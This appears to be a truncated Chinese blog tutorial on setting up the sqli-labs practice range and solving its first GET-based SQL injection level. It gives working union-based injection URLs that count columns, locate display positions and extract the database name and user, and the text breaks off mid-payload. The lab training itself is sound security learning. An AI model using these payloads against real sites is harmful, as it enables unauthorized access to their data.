SQLI_LIBS靶场搭建与1-10GET型注入实战

本文介绍了SQLI_LIBS靶场的搭建过程,并通过1-10关GET型注入的实战,展示了如何利用注入漏洞获取数据库信息。从单引号注入到双引号变形,再到布尔型和时间型盲注,详细讲解了不同类型的SQL注入技巧,并给出了利用sqlmap工具的辅助方法。
摘要由CSDN通过智能技术生成

靶场搭建与1-10GET型注入实战

目录

靶场搭建与1-10GET型注入实战

环境准备

靶场环境初始化

Less-1

Less-2

Less-3

Less-4

Less-5

Less-6

Less-7

Less-8

Less-9

Less-10


环境准备

下载phpstudy

小皮面板(phpstudy) - 让天下没有难配的服务器环境!

下载sqli-labs靶场环境

GitHub - Audi-1/sqli-labs: SQLI labs to test error based, Blind boolean based, Time based.

运行phpstudy环境,开启apache和mysql

将php环境改为5版本,因为7版本删除了一些函数,靶场环境不能正常连接

靶场环境初始化

       将sqli靶场解压之后房子phpstudy的www目录下,访问127.0.0.1/sql

        点击Setup/reset Database for labs 进行靶场环境初始化

        初始化之后即可正常进行靶场测试了。

Less-1

       ‘单引号注入

       判断查询列数

http://127.0.0.1/sql/Less-1/?id=1' order by 4 -- - 报错

http://127.0.0.1/sql/Less-1/?id=1' order by 3 -- - 正常

       说明查询列数为3

       判断显示位

http://127.0.0.1/sql/Less-1/?id=-1' union select 1,2,3 -- - 确认显示位为2和3

       数据库名和数据库用户

http://127.0.0.1/sql/Less-1/?id=-1' union select 1,database(),user() -- - security和root@localhost

       表名

http://127.0.0.1/sql/Less-1/?id=-1' union sele

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值